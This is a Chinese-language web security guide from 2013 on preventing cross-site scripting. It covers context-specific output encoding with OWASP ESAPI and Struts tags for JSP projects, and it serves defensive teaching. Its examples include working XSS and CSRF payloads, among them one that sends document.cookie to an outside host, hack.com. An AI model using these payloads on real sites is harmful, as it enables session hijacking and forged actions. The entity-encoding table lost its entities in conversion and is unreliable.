WEB安全评测解决方案
与代码编写规范

北京华安普特

2013年10月

目录

1 Xss注入简介 2

1.1 一个简单的例子 2

1.2 网上的xss讲解 3

2 防御xss的七条原则 9

2.1 前言 9

2.2

原则1:不要在页面中插入任何不可信数据,除非这些数已经据根据下面几个原则进行了编码 10

2.3

原则2:在将不可信数据插入到HTML标签之间时,对这些数据进行HTML Entity编码 11

2.4

原则3:在将不可信数据插入到HTML属性里时,对这些数据进行HTML属性编码 12

2.5

原则4:在将不可信数据插入到SCRIPT里时,对这些数据进行SCRIPT编码 14

2.6

原则5:在将不可信数据插入到Style属性里时,对这些数据进行CSS编码 16

2.7 原则6:在将不可信数据插入到HTML

URL里时,对这些数据进行URL编码 17

2.8 原则7:使用富文本时,使用XSS规则引擎进行编码过滤 18

3 项目中防御xss的具体措施 21

3.1 在jsp中的输出防御 21

3.1.1 stuts标签输出防御 21

3.1.2 Esapi标签输出防御 21

3.1.3 Java输出代码防御通过<%=temp%>的方式 22

4 防御url中的xss代码注入攻击办法 23

5 控制通过输入非登录页的url进入系统功能 24

5.1.1 Referer验证过滤器 24

5.1.2 window.open和window.location.href=特殊处理 24

6 系统日志组件的调用方法 25

6.1.1 方法一:直接调用 25

6.1.2 方法二通过Annotation 25

1 Xss注入简介

1.1 一个简单的例子

先看下现在frp登录页面的xss注入漏洞

先打开系统登录页

http://192.168.2.99:8080/scmm/

然后在系统用户名中文本框中输入

1, xss: */--
>'"></iframe></script></style></title></textarea><script>alert(/xsstest/)</script>;

密码为 1

点击登录按钮，则出现如下界面

原因是系统验证用户名失败后，重新跳转到login.jsp

而login.jsp中通过${userCode}的方式对userCode变量进行了直接的页面输出，从而执行了不安全的脚本，正确的方式使应当对userCode进行字符编码转换后再进行输出，具体的编码转换输出方式，请参照第三章节

再比如在一个博客添加页面blogAdd.jsp中

有一个form表单

```
<form>
<input type=”text”  name=”blog.subject”/>
</form>
```

Form表单提交后跳转到blogInfo.jsp

如果在js中使用blog.subject

```
<script>
   Var  blogSubject =”<s:property value=” blog.subject” />”;


</script>
```

如果我在from表单中blog.subject文本框中输入

```
“ var myiframe=document.createElement(“iframe”);
myiframe.style.height=”100px;”; myiframe.style.width=”100px;”
myiframe.src=”http://www.baidu.com”;
 document.getElementsByTagName(‘body’)[0].appendChild(myiframe);
```

则会成功在你的网站上显示出一个百度的页面，使用类似的代码可以实现网站钓鱼功能

例如创建一个支付页面，引诱你把账号和密码输入到钓鱼网站中

正确的做法是对用户输入blog.subject文本框中的值进行非法字符过滤后再保存到数据库或者在对 blog.subject的字段值进行输出的时候进行字符转换

转换方式是将

```
   Var  blogSubject =”<s:property value=” blog.subject” />”;
```

修改为

```
   Var  blogSubject =”<s:property value=” blog.subject”
escapeJavaScript="true"/>”;
```

因为struts的property标签默认只对输出的值进行html过滤,而不对javaScript进行过滤

1.2 网上的xss讲解

XSS漏洞概述:

XSS(Cross Site Script)跨站点脚本攻击是一种注射的问题,在这种恶意脚本注入否则良性和信任的网站类型。跨站点脚本(XSS)攻击,攻击者使用时,会出现一个网络应用程序发送恶意代码,一般是在浏览器端脚本的形式,向不同的最终用户。这些缺陷,使攻击成功是相当普遍,发生在任何地方从一个Web应用程序使用在输出它没有验证或编码了用户输入。攻击者可以使用XSS的恶意脚本发送到一个毫无戒心的用户。最终用户的浏览有没有办法知道该脚本不应该信任,将执行该脚本。因为它认为该脚本来从一个受信任的源,恶意脚本可以访问任何Cookie,会话令牌,或其他敏感信息的浏览器保留,并与该网站使用。

甚至可以重写这些脚本的HTML网页的内容。

XSS漏洞历史:

XSS(Cross-site scripting)漏洞最早可以追溯到1996年,那时电子商务才刚刚起步,估计那时候国内很少人会想象到今天出现的几个国内电子商务巨头淘宝、当当、亚马逊(卓越)。XSS的出现“得益”于JavaScript的出现,JavaScript的出现给网页的设计带来了无限惊喜,包括今天风行的AJAX(Asynschronous JavaScript and XML)。同时,这些元素又无限的扩充了今天的网络安全领域。

XSS 漏洞攻击特点:

(1)XSS跨站漏洞种类多样人:

XSS攻击语句可插入到、URL地址参数后面、输入框内、img标签及DIV标签等HTML

函数的属人里、Flash的getURL()动作等地方都会触发XSS漏洞。

(2)XSS跨站漏洞代码多样人:

为了躲避转义HTML特殊字符函数及过滤函数的过滤,XSS跨站的代码使用“/”来代替安字符“”“、使用Tab键代替空格、部分语句转找成16进制、添加特殊字符、改变大小写及使用空格等来绕过过滤函数。

如果在您的新闻系统发现安全漏洞,如果该漏洞是一个SQL注入漏洞,那么该漏洞就会得到您的网站管理员密码、可以在主机系统上执行shell命令、对数据库添加、删除数据。如果在您的新闻或邮件系统中发现安全漏洞,如果该漏洞是一个XSS跨站漏洞,那么可以构造一些特殊代码,只要你访问的页面包含了构造的特殊代码,您的主机可能就会执行木马程序、执行^***Cookies代码、突然转到一个银行及其它金融类的网站、泄露您的网银及其它账号与密码等。

XSS攻击原理:

XSS属于被动式的攻击。攻击者先构造一个跨站页面,利用script、<IMG>、<IFRAME>等各种方式使得用户浏览这个页面时,触发对被攻击站点的http请求。此时,如果被攻击者如果已经在被攻击站点登录,就会持有该站点cookie。这样该站点会认为被攻击者发起了一个http请求。而实际上这个请求是在被攻击者不知情的情况下发起的,由此攻击者在一定程度上达到了冒充被攻击者的目的。精心的构造这个攻击请求,可以达到冒充发文,夺取权限等等多个攻击目的。在常见的攻击实例中,这个请求是通过script 来发起的,因此被称为Cross Site Script。攻击Yahoo Mail 的Yamanner蠕虫是一个著名的XSS 攻击实例。Yahoo Mail 系统有一个漏洞,当用户在web

上察看信件时，有可能执行到信件内的javascript

代码。病毒可以利用这个漏洞使被攻击用户运行病毒的script。同时Yahoo Mail

系统使用了Ajax技术，这样病毒的script 可以很容易的向Yahoo Mail

系统发起ajax 请求，从而得到用户的地址簿，并发送病毒给他人。

XSS 攻击主要分为两类:一类是来自内部的攻击，主要指的是利用WEB

程序自身的漏洞，提交特殊的字符串，从而使得跨站页面直接存在于被攻击站点

上，这个字符串被称为跨站语句。这一类攻击所利用的漏洞非常类似于SQL

Injection

漏洞，都是WEB程序没有对用户输入作充分的检查和过滤。上文的Yamanner

就是一例。

另一类则是来来自外部的攻击，主要指的自己构造XSS

跨站漏洞网页或者寻找非目标机以外的有跨站漏洞的网页。如当我们要渗透一

个站点，我们自己构造一个跨站网页放在自己的服务器上，然后通过结合其它技

术，如社会工程学等，欺骗目标服务器的管理员打开。这一类攻击的威胁相对较

低，至少ajax 要发起跨站调用是非常困难的。

案例实战:

我们来看一个简单的攻击实例，下表给出了一个简单的网站http://xss.honkwi

n.com:8080/testxss，该网站的密码和用户名相同，普通用户可以修改user

value，当以admin 身份登陆时可以通过向doadmin.jsp 发起请求来修改admin

value。

index.jsp

```
<html>
<body>
<textarea rows="3" cols="100" readonly="on">
Current User: ${username}
Admin Value: ${adminvalue}
```

```
User Value: ${uservalue}
</textarea>
<br>
<a href="login.jsp"/>logout</a><br>
Login:<br>
<form action="login.jsp" method="post">
username: <input type="text" name="u"></input> <br>
password: <input type="text" name="p"></input> <br>
<input type="submit" /> password == username :-)
</form>
<form action="doadmin.jsp" method="post">
adminvalue: <input type="text" name="v"></input> <br>
<input type="submit" />
</form>
<form action="doadmin.jsp" method="post">
uservalue: <input type="text" name="v2"></input> <br>
<input type="submit" />
</form>
</body>
```

login.jsp

```
<%
String u = request.getParameter("u");
String p = request.getParameter("p");
if (u != null && p != null && u.equals(p)) {
session.setAttribute("username", u);
} else {
session.removeAttribute("username");
}
response.sendRedirect("index.jsp");
%>
```

doadmin.jsp

```
<%
String u = (String)session.getAttribute("username");
String v = request.getParameter("v");
String v2 = request.getParameter("v2");
if (u != null && u.equals("admin")) {
if (v != null)
application.setAttribute("adminvalue", v);
}
if (u != null && v2 != null)
```

```
application.setAttribute("uservalue", v2);
response.sendRedirect("index.jsp");
%>
```

容易想到，只要诱骗admin

用户发起一个到http://xss.honkwin.com:8080/testxss/doadmin.jsp 的http

请求，就能成功攻击。因此我们设计跨站语句如下：

```
hello </textarea> <img src="http://bbs.honkwin.com/2xwfed"
style="display:none"> </img>
hello </textarea> <form id="shit"
action="http://xss.honkwin.com:8080/testxss/doadmin.jsp" metho
nd="post" target="myframe"/> <input type="hidden" name="v"
value="hacked3"/> </form> <iframe
style="display:none" name="myframe">
</iframe><script>document.forms[0].submit()</script>
hello </textarea> <script language="jscript">v = new
ActiveXObject("MSXML2.XMLHTTP.3.0"); v.
open("GET","http://xss.honkwin.com:8080/testxss/doadmin.jsp?v=hacked4
"); v.send();alert(v.status
Text);</script>
```

以普通用户身份修改user value 为以上任何一个，当admin 浏览index.jsp

时，即可悄无声息的修改admin value

这里演示了3 种跨站手法：

1 是利用img、iframe 等tag 直接发起请求，这适用于无法直接出script

的情况，其中http://bbs.honkwin.com/2xwfed 是一个redirect，指向
http://xss.honkwin.com:8080/testxss/doadmin.jsp?v=hacked2 ；

2 是用script 提交post 表单；

3 是ajax 技术。

以上攻击能够成功有2 个原因：

1. 应用程序没有对user value

做足够多的过滤，导致用户有机会构造一个复杂的跨站语句来触发admin

的非预期行为；

2. 应用程序在响应admin value

修改请求时没有防范措施来识别这是不是出于用户主动。

漏洞1 很容易修复，只要像防止SQL Injection
那样对用户输入的所有内容都过滤即可。

漏洞2 才是问题的根源，即便我们修补了漏洞1，只要诱使admin

用户访问包含<imgsrc="http://bbs.honkwin.com/2xwfed">

</img>的页面，仍然能达到目的，而这是一件极容易
做到的事。

防范措施：

这里给出一些防范XSS 攻击的措施。必须说明的是，对于XSS

攻击，并不像SQLInjection 那样可以有一劳永逸的解决方案——只需要grep

一下所有的sql 调用。这是一

场长期的斗争，而且往往需要我们采取修改业务流程、产品设计等看似削足适履
的手段。
先总结一下常见的攻击手法：

1. 依赖跨站漏洞，需要在被攻击网站的页面种入脚本的手法

1.1. Cookie 盗取，通过javascript

获取被攻击网站种下的cookie，并发送给攻击者。

1.1.1. 从cookie 中提取密码等隐私

1.1.2. 利用cookie 伪造session，发起重放攻击

1.2. Ajex 信息盗取，通过javascript 发起ajex 请求。

1.2.1. 从ajex 结果中获取隐私。

1.2.2. 模拟用户完成多页表单。

2. 不依赖跨站漏洞的手法

2.1. 单向HTTP 动作，通过img.src

等方法发起跨站访问，冒充被攻击者执行特权操作。但是很难拿到服务器的返回值。

2.2. 双向HTTP

动作，如果服务器产生一段动态的script，那么可以用script.src

的方法发起跨站访问并拿到服务器的返回值。

防范手法如下:

1.

防堵跨站漏洞，阻止攻击者利用在被攻击网站上发布跨站攻击语句不可以信任

用户提交的任何内容，首先代码里对用户输入的地方和变量都需要仔细检查长

度和对”<”,”>”,”;”,”’ ”等字符做过滤;其次任何内容写到页面之前都

必须加以encode，避免不小心把html tag

弄出来。这一个层面做好，至少可以堵住超过一半的XSS 攻击。

2. Cookie 防盗

首先避免直接在cookie

中泄露用户隐私，例如email、密码等等。其次通过使cookie 和系统ip

绑定来降低cookie 泄露后的危险。这样攻击者得到的cookie

没有实际价值，不可能拿来重放。

3. 尽量采用POST 而非GET 提交表单

POST 操作不可能绕开javascript

的使用，这会给攻击者增加难度，减少可利用的

跨站漏洞。

4. 严格检查refer

检查http refer 是否来自预料中的url。这可以阻止第2

类攻击手法发起的http 请求，也能防止大部分第1

类攻击手法，除非正好在特权操作的引用页上种了跨站访问。

5. 将单步流程改为多步，在多步流程中引入效验码

多步流程中每一步都产生一个验证码作为hidden

表单元素嵌在中间页面，下一步操作时这个验证码被提交到服务器，服务器检查

这个验证码是否匹配。

首先这为第1

类攻击者大大增加了麻烦。其次攻击者必须在多步流程中拿到上一步产生的效

验码才有可能发起下一步请求，这在第2 类攻击中是几乎无法做到的。

6. 引入用户交互

简单的一个看图识数可以堵住几乎所有的非预期特权操作。

7. 只在允许anonymous 访问的地方使用动态的javascript。

8. 对于用户提交信息的中的img

等link，检查是否有重定向回本站、不是真的图片等

可疑操作。

9. 内部管理网站的问题

很多时候，内部管理网站往往疏于关注安全问题，只是简单的限制访问来源。这

种网站往往对XSS

攻击毫无抵抗力，需要多加注意。安全问题需要长期的关注，从来不是一锤子买

卖。XSS

攻击相对其他攻击手段更加隐蔽和多变，和业务流程、代码实现都有关系，不存在什么一劳永逸的解决方案。此外，面对XSS，往往要牺牲产品的便利性才能保证完全的安全，如何在安全和便利之间平衡也是一件需要考虑的事情。

web应用开发者注意事项:

□□

1.对于开发者，首先应该把精力放到对所有用户提交内容进行可靠的输入验证上。这些提交内容包括URL、查询关键

字、http头、post数据等。只接受在你所规定长度范围内、采用适当格式、你所希望的字符。阻塞、过滤或者忽略其它的

任何东西。

□□

2.保护所有敏感的功能，以防被bots自动化或者被第三方网站所执行。实现session标记(session tokens)、

CAPTCHA系统或者HTTP引用头检查。

□□

3.如果你的web应用必须支持用户提供的HTML，那么应用的安全性将受到灾难性的下滑。但是你还是可以做一些事来

保护web站点:确认你接收的HTML内容被妥善地格式化，仅包含最小化的、安全的tag(绝对没有JavaScript)，去掉任何

对远程内容的引用(尤其是样式表和JavaScript)。为了更多的安全，请使用http Only的cookie。

2 防御xss的七条原则

2.1 前言

本章节将会着重介绍防御XSS攻击的一些原则，需要读者对于XSS有所了解，至少知道XSS漏洞的基本原理，如果您对此不是特别清楚，请参考这两篇文章:《Stored and Reflected XSS Attack》《DOM Based XSS》

攻击者可以利用XSS漏洞向用户发送攻击脚本，而用户的浏览器因为没有办法知道这段脚本是不可信的，所以依然会执行它。对于浏览器而言，它认为这段脚本是来自可以信任的服务器的，所以脚本可以光明正大地访问Cookie，或者保存在浏览器里被当前网站所用的敏感信息，甚至可以知道用户电脑安装了哪些软件。这些脚本还可以改写HTML页面，进行钓鱼攻击。

虽然产生XSS漏洞的原因各种各样，对于漏洞的利用也是花样百出，但是如果我们遵循本文提到防御原则，我们依然可以做到防止XSS攻击的发生。

有人可能会问，防御XSS的核心不就是在输出不可信数据的时候进行编码，而现如今流行的Web框架（比如Rails）大多都在默认情况下就对不可信数据进行了HTML编码，帮我们做了防御，还用得着我们自己再花时间研究如何防御XSS吗？答案是肯定的，对于将要放置到HTML页面body里的不可信数据，进行HTML编码已经足够防御XSS攻击了，甚至将HTML编码后的数据放到HTML标签（TAG）的属性（attribute）里也不会产生XSS漏洞（但前提是这些属性都正确使用了引号），但是，如果你将HTML编码后的数据放到了<SCRIPT>标签里的任何地方，甚至是HTML标签的事件处理属性里（如onmouseover），又或者是放到了CSS、URL里，XSS攻击依然会发生，在这种情况下，HTML编码不起作用了。所以就算你到处使用了HTML编码，XSS漏洞依然可能存在。下面这几条规则就将告诉你，如何**在正确的地方使用正确的**编码来消除XSS漏洞。

2.2 原则1：不要在页面中插入任何不可信数据，除非这些数已经据根据下面几个原则进行了编码

第一条原则其实是“Secure By Default”原则：不要往HTML页面中插入任何不可信数据，除非这些数据已经根据下面几条原则进行了编码。

之所以有这样一条原则存在，是因为HTML里有太多的地方容易形成XSS漏洞，而且形成漏洞的原因又有差别，比如有些漏洞发生在HTML标签里，有些发生在HTML标签的属性里，还有的发生在页面的<Script>里，甚至有些还出现在CSS里，再加上不同的浏览器对页面的解析或多或少有些不同，使得有些漏洞只在特定浏览器里才会产生。如果想要通过XSS过滤器（XSS Filter）对不可信数据进行转义或替换，那么XSS过滤器的过滤规则将会变得异常复杂，难以维护而且会有被绕过的风险。

所以实在想不出有什么理由要直接往HTML页面里插入不可信数据，就算是有XSS过滤器帮你做过滤，产生XSS漏洞的风险还是很高。

<script>…不要在这里直接插入不可信数据…</script>直接插入到SCRIPT标签里

<!– …不要在这里直接插入不可信数据… –>
插入到HTML注释里

<div 不要在这里直接插入不可信数据=”…”>
插入到HTML标签的属性名里

插入到HTML标签的属性值里

<不要在这里直接插入不可信数据 href=”…”>
作为HTML标签的名字

<style>…不要在这里直接插入不可信数据…</style>

直接插入到CSS里

最重要的是，千万不要引入任何不可信的第三方JavaScript到页面里，一旦引入了，这些脚本就能够操纵你的HTML页面，窃取敏感信息或者发起钓鱼攻击等等。

2.3 原则2：在将不可信数据插入到HTML标签之间时，对这些数据进行HTML Entity编码

在这里相当强调是往HTML标签之间插入不可信数据，以区别于往HTML标签**属性部分**插入不可信数据，因为这两者需要进行不同类型的编码。当你确实需要往HTML标签之间插入不可信数据的时候，首先要做的就是对不可信数据进行HTML Entity编码。比如，我们经常需要往DIV，P，TD这些标签里放入一些用户提交的数据，这些数据是不可信的，需要对它们进行HTML Entity编码。很多Web框架都提供了HTML Entity编码的函数，我们只需要调用这些函数就好，而有些Web框架似乎更“智能”，比如Rails，它能在默认情况下对所有插入到HTML页面的数据进行HTML Entity编码，尽管不能完全防御XSS，但着实减轻了开发人员的负担。

<body>…插入不可信数据前，对其进行**HTML Entity编码**…</body> …插入不可信数据前，对其进行**HTML Entity编码**… …插入不可信数据前，对其进行**HTML Entity编码**…

以此类推，往其他HTML标签之间插入不可信数据前，对其进行**HTML Entity编码**

[编码规则]

那么HTML Entity编码具体应该做哪些事情呢？它需要对下面这6个特殊字符进行编码：

& –> &

< –> <

> –> >

” –> "

‘ –> '

/ –> /

有两点需要特别说明的是:

- 不推荐将单引号(‘)编码为 ' 因为它并不是标准的HTML标签
- 需要对斜杠号(/)编码，因为在进行XSS攻击时，斜杠号对于关闭当前HTML标签非常有用

推荐使用OWASP提供的ESAPI函数库，它提供了一系列非常严格的用于进行各种安全编码的函数。在当前这个例子里，你可以使用:

String encodedContent = ESAPI.encoder().encodeForHTML(request.getParameter(“input”));

2.4 原则3：在将不可信数据插入到HTML属性里时，对这些数据进行HTML属性编码

这条原则是指，当你要往HTML属性（例如width、name、value属性）的值部分(data value)插入不可信数据的时候，应该对数据进行HTML属性编码。不过需要注意的是，当要往HTML标签的事件处理属性（例如onmouseover）里插入数据的时候，本条原则不适用，应该用下面介绍的原则4对其进行JavaScript编码。

属性值部分没有使用引号，不推荐

属性值部分使用了单引号

属性值部分使用了双引号

[编码规则]

除了阿拉伯数字和字母，对其他所有的字符进行编码，只要该字符的ASCII码小于256。编码后输出的格式为 &#xHH;
（以&#x开头，HH则是指该字符对应的十六进制数字，分号作为结束符）

之所以编码规则如此严格，是因为开发者有时会忘记给属性的值部分加上引号。如果属性值部分没有使用引号的话，攻击者很容易就能闭合掉当前属性，随后即可插入攻击脚本。例如，如果属性没有使用引号，又没有对数据进行严格编码，那么一个空格符就可以闭合掉当前属性。请看下面这个攻击：

假设HTML代码是这样的：

 …content…

攻击者可以构造这样的输入：

x onmouseover=”javascript:alert(/xss/)”

最后，在用户的浏览器里的最终HTML代码会变成这个样子：

 …content…

只要用户的鼠标移动到这个DIV上，就会触发攻击者写好的攻击脚本。在这个例子里，脚本仅仅弹出一个警告框，除了恶作剧一下也没有太多的危害，但是在真实的攻击中，攻击者会使用更加具有破坏力的脚本，例如下面这个窃取用户cookie的XSS攻击：

```
?
 x /> <script>var img = document.createElement(“img”);img.src
1= ”http://hack.com/xss.js?” +
 escape(document.cookie);document.body.appendChild(img);</scrip
 t> <div
```

除了空格符可以闭合当前属性外，这些符号也可以：

% * + , – / ; < = > ^ |
`(反单引号，IE会认为它是单引号)

可以使用ESAPI提供的函数进行HTML属性编码：

String encodedContent = ESAPI.encoder().encodeForHTMLAttribute(request.getParameter("input"));

2.5 原则4：在将不可信数据插入到SCRIPT里时，对这些数据进行SCRIPT编码

这条原则主要针对动态生成的JavaScript代码，这包括脚本部分以及HTML标签的事件处理属性（Event Handler，如onmouseover, onload等）。在往JavaScript代码里插入数据的时候，只有一种情况是安全的，那就是对不可信数据进行JavaScript编码，并且只把这些数据放到使用引号包围起来的值部分（data value）之中，例如：

```
?
1<script>
2
3var message = "<%= encodeJavaScript(@INPUT) %>";
4
5 </script>
```

除此之外，往JavaScript代码里其他任何地方插入不可信数据都是相当危险的，攻击者可以很容易地插入攻击代码。

<script>alert('…插入不可信数据前，进行JavaScript编码…')</script>值部分使用了单引号

<script>x = "…插入不可信数据前，进行JavaScript编码…"</script>
值部分使用了双引号

<div onmouseover="x='…插入不可信数据前，进行JavaScript编码…' "
值部分使用了引号，且事件处理属性的值部分也使用了引号

特别需要注意的是，在XSS防御中，有些JavaScript函数是极度危险的，就算对不可信数据进行JavaScript编码，也依然会产生XSS漏洞，例如：

<script>

window.setInterval('…就算对不可信数据进行了JavaScript编码，这里依然会有XSS漏洞…');

</script>

[编码规则]

除了阿拉伯数字和字母，对其他所有的字符进行编码，只要该字符的ASCII码小于256。编码后输出的格式为 \xHH（以 \x 开头，HH则是指该字符对应的十六进制数字）

在对不可信数据做编码的时候，千万不能图方便使用反斜杠（\）对特殊字符进行简单转义，比如将双引号 " 转义成 \"，这样做是不可靠的，因为浏览器在对页面做解析的时候，会先进行HTML解析，然后才是JavaScript解析，所以双引号很可能会被当做HTML字符进行HTML解析，这时双引号就可以突破代码的值部分，使得攻击者可以继续进行XSS攻击。例如：

假设代码片段如下：

<script>

var message = " $VAR ";

</script>

攻击者输入的内容为：

\"; alert('xss');//

如果只是对双引号进行简单转义，将其替换成 \" 的话，攻击者输入的内容在最终的页面上会变成：

```
?
1<script>
2
3
4var message = " \\"; alert( 'xss' );// ";
5
```

</script>

浏览器在解析的时候，会认为反斜杠后面的那个双引号和第一个双引号相匹配，继而认为后续的alert('xss')是正常的JavaScript脚本，因此允许执行。

可以使用ESAPI提供的函数进行JavaScript编码：

String encodedContent = ESAPI.encoder().encodeForJavaScript(request.getParameter("input"));

2.6 原则5：在将不可信数据插入到Style属性里时，对这些数据进行CSS编码

当需要往Stylesheet，Style标签或者Style属性里插入不可信数据的时候，需要对这些数据进行CSS编码。传统印象里CSS不过是负责页面样式的，但是实际上它比我们想象的要强大许多，而且还可以用来进行各种攻击。因此，不要对CSS里存放不可信数据掉以轻心，应该只允许把不可信数据放入到CSS属性的值部分，并进行适当的编码。除此以外，最好不要把不可信数据放到一些复杂属性里，比如url,
behavior等，只能被IE认识的Expression属性允许执行JavaScript脚本，因此也不推荐把不可信数据放到这里。

<style>selector { property : …插入不可信数据前，进行CSS编码…} </style><style>selector { property : " …插入不可信数据前，进行CSS编码… "} </style>

 …

[编码规则]

除了阿拉伯数字和字母，对其他所有的字符进行编码，只要该字符的ASCII码小于256。编码后输出的格式为 \HH（以 \
开头，HH则是指该字符对应的十六进制数字）

同原则2，原则3，在对不可信数据进行编码的时候，切忌投机取巧对双引号等特殊字符进行简单转义，攻击者可以想办法绕开这类限制。

可以使用ESAPI提供的函数进行CSS编码：

String encodedContent = ESAPI.encoder().encodeForCSS(request.getParameter("input"));

2.7 原则6：在将不可信数据插入到HTML URL里时，对这些数据进行URL编码

当需要往HTML页面中的URL里插入不可信数据的时候，需要对其进行URL编码，如下：

 Link Content

[编码规则]

除了阿拉伯数字和字母，对其他所有的字符进行编码，只要该字符的ASCII码小于256。编码后输出的格式为 %HH（以 % 开头，HH则是指该字符对应的十六进制数字）

在对URL进行编码的时候，有两点是需要特别注意的：

1) URL属性应该使用引号将值部分包围起来，否则攻击者可以很容易突破当前属性区域，插入后续攻击代码

2) 不要对整个URL进行编码，因为不可信数据可能会被插入到href, src或者其他以URL为基础的属性里，这时需要对数据的起始部分的协议字段进行验证，否则攻击者可以改变URL的协议，例如从HTTP协议改为DATA伪协议，或者javascript伪协议。

可以使用ESAPI提供的函数进行URL编码：

String encodedContent = ESAPI.encoder().encodeForURL(request.getParameter("input"));

ESAPI还提供了一些用于检测不可信数据的函数，在这里我们可以使用其来检测不可信数据是否真的是一个URL：

```
?
 String userProvidedURL =
 request.getParameter(“userProvidedURL”);boolean isValidURL =
 ESAPI.validator().isValidInput(“URLContext”,
1userProvidedURL, “URL”, 255, false);
2
3
4
5if (isValidURL) {
6
7
8<a href=”<%= encoder.encodeForHTMLAttribute(userProvidedURL)
 %>”></a>

 }
```

2.8 原则7：使用富文本时，使用XSS规则引擎进行编码过滤

Web应用一般都会提供用户输入富文本信息的功能，比如BBS发帖，写博客文章等，用户提交的富文本信息里往往包含了HTML标签，甚至是JavaScript脚本，如果不对其进行适当的编码过滤的话，则会形成XSS漏洞。但我们又不能因为害怕产生XSS漏洞，所以就不允许用户输入富文本，这样对用户体验伤害很大。

针对富文本的特殊性，我们可以使用XSS规则引擎对用户输入进行编码过滤，只允许用户输入安全的HTML标签，如<b>, <i>, <p>等，对其他数据进行HTML编码。需要注意的是，经过规则引擎编码过滤后的内容只能放在 , <p>等安全的HTML标签里，不要放到HTML标签的属性值里，更不要放到HTML事件处理属性里，或者放到<SCRIPT>标签里。

推荐XSS规则过滤引擎:OWASP AntiSamp或者Java HTML Sanitizer

总结

由于很多地方都可能产生XSS漏洞，而且每个地方产生漏洞的原因又各有不同，所以对于XSS的防御来说，我们需要**在正确的地方做正确的事情**，即根据不可信数据将要被放置到的地方进行相应的编码，比如放到 标签之间的时候，需要进行HTML编码，放到 标签属性里的时候，需要进行HTML属性编码，等等。

XSS攻击是在不断发展的，上面介绍的几条原则几乎涵盖了Web应用里所有可能出现XSS的地方，但是我们仍然不能掉以轻心，为了让Web应用更加安全，我们还可以结合其他防御手段来加强XSS防御的效果，或者减轻损失：

- 对用户输入进行数据合法性验证，例如输入email的文本框只允许输入格式正确的email，输入手机号码的文本框只允许填入数字且格式需要正确。这类合法性验证至少需要在服务器端进行以防止浏览器端验证被绕过，而为了提高用户体验和减轻服务器压力，最好也在浏览器端进行同样的验证。
- 为**Cookie加上HttpOnly**标记。许多XSS攻击的目标就是窃取用户Cookie，这些Cookie里往往包含了用户身份认证信息（比如SessionId），一旦被盗，黑客就可以冒充用户身份盗取用户账号。窃取Cookie一般都会依赖JavaScript读取Cookie信息，而HttpOnly标记则会告诉浏览器，被标记上的Cookie是不允许任何脚本读取或修改的，这样即使Web应用产生了XSS漏洞，Cookie信息也能得到较好的保护，达到减轻损失的目的。

Web应用变得越来越复杂，也越来越容易产生各种漏洞而不仅限于XSS漏洞，没有银弹可以一次性解决所有安全问题，我们只能处处留意，针对不同的安全漏洞进行针对性的防御。

希望本文介绍的几条原则能帮助你成功防御XSS攻击，如果你对于XSS攻击或防御有任何的见解或疑问的话，欢迎留言讨论，谢谢。

附，各种编码对比表

不可信数据将被放置的地方	例子	应该采取的编码	编码格式
HTML标签之间	不可信数据	HTML	& –> &< –> <>

		Entity编码	
			” –> "
			‘ –> '
			/ –> /
HTML标签的属性里	<input type=”text”value=” 不可信数据 ” />	HTML Attribute编码	&#xHH;
JavaScript标签里	<script> var msg = ” 不可信数据 ” </script>	JavaScript编码	\xHH
HTML页面的URL里	…	URL编码	%HH
CSS里	<div style=” width: 不可信数据 ” > …	CSS编码	\HH

3 项目中防御xss的具体措施

3.1 在jsp中的输出防御

3.1.1 stuts标签输出防御

如果此jsp是经过struts过滤器后返回的页面，则可以直接使用struts标签

1. 对于上面的原则4,需要在<script></script>标签中输出的变量可以使用

   <s:property value=" blog.subject" escapeJavaScript="true"/>

2. 对于上面的原则2只需要在html标签中输出，则可以直接使用

   <s:property value=" blog.subject" />

3.1.2 Esapi标签输出防御

如果此jsp是系统登陆页面，或者是其他未经过struts过滤器的页面不能直接使用struts标签否则会抛出异常

```
 The Struts dispatcher cannot be found.  This is usually caused by using Struts tags without the associated filter. Struts tags are only usable when the request has passed through its servlet filter, which initializes the Struts dispatcher needed for this tag. - [unknown location]
```

org.apache.struts2.views.jsp.TagUtils.getStack(TagUtils.java:60)

org.apache.struts2.views.jsp.StrutsBodyTagSupport.getStack(StrutsBodyTagSupport.java:44)

org.apache.struts2.views.jsp.ComponentTagSupport.doStartTag(ComponentTagSupport.java:48)

此时页面中变量的输出就不能使用struts标签，可以使用owasp-esapi开源项目中的标签

owasp-
esapi开源项目中的标签完全可以遵循上面的七个原则，而struts标签只能用来遵循原则2和原则3

具体方法是首先在jsp中引入esapi的jsp自定义标签(esapi.tld文件中的标签)，代码如下

```
<%@ taglib prefix="es" uri="esapi" %>
```

然后对于原则2可以使用如下自定义el函数

```
${es:encodeForHTML(userCode)}
```

对于原则3可以使用自定义el函数

```
${es: EncodeForHTMLAttributeTag (userCode)}
```

每个原则和其对应方法的表格如下

原则	方法
原则二	${es:encodeForHTML(temp)}
原则三	${es: EncodeForHTMLAttributeTag (temp)}
原则四	${es:encodeForJavaScript(temp)}
原则五	${es: encodeForCSS(temp)}
原则六	${es: encodeForURL(temp)}

3.1.3

Java输出代码防御通过<%=temp%>的方式

如果不使用标签或el表达式需要通过<%=temp%>在页面上输出变量则可以先调用

org.owasp.esapi. ESAPI的java类的方法进行转换后再输出

原则	ESAPI
原则二	ESAPI.encoder().encodeForHTML
原则三	ESAPI.encoder().encodeForHTMLAttribute
原则四	ESAPI.encoder().encodeJavaScript
原则五	ESAPI.encoder().encodeForCSS
原则六	ESAPI.encoder().encodeForURL

4 防御url中的xss代码注入攻击办法

url的xss攻击代码

代码示例如:

http://localhost:8080/scmm/project/login/login.action?method=validateUser&userCode=1, xss: */--
>'"></iframe></script></style></title></textarea><script>alert(/xsstest/)</script>;

userCode在login.jsp上如果按照3.1章节的方式进行控制输出就已经能够防止此类攻击了，但是为了防止用户直接输入恶意url进行攻击的行为

需要在项目中加一个过滤器判断用户是不是进行恶意攻击的过滤器

具体方法验证queryString中是否有非法的字符如<

>等非法字符，如果发现有此类非法字符则输出"非法的url请求"字样，

queryString的验证可以设置一些url的白名单，从而允许一些特殊的url中可以有<>的字符。

过滤器配置如下

```
<filter>
            <description>请求参数中非法字符过滤器</description>
            <filter-name>XSSCheckFilter</filter-name>
            <filter-
class>com.hhwy.iepip.framework.web.filter.XSSCheckFilter</filter-
class>
            <init-param>
                  <description>白名单路径</description>
                  <param-name>excludePath</param-name>
                  <param-value><![CDATA[|]]></param-value>
            </init-param>
      </filter>
      <filter-mapping>
            <filter-name>XSSCheckFilter</filter-name>
            <url-pattern>*.action</url-pattern>
      </filter-mapping>
      <filter-mapping>
```

```
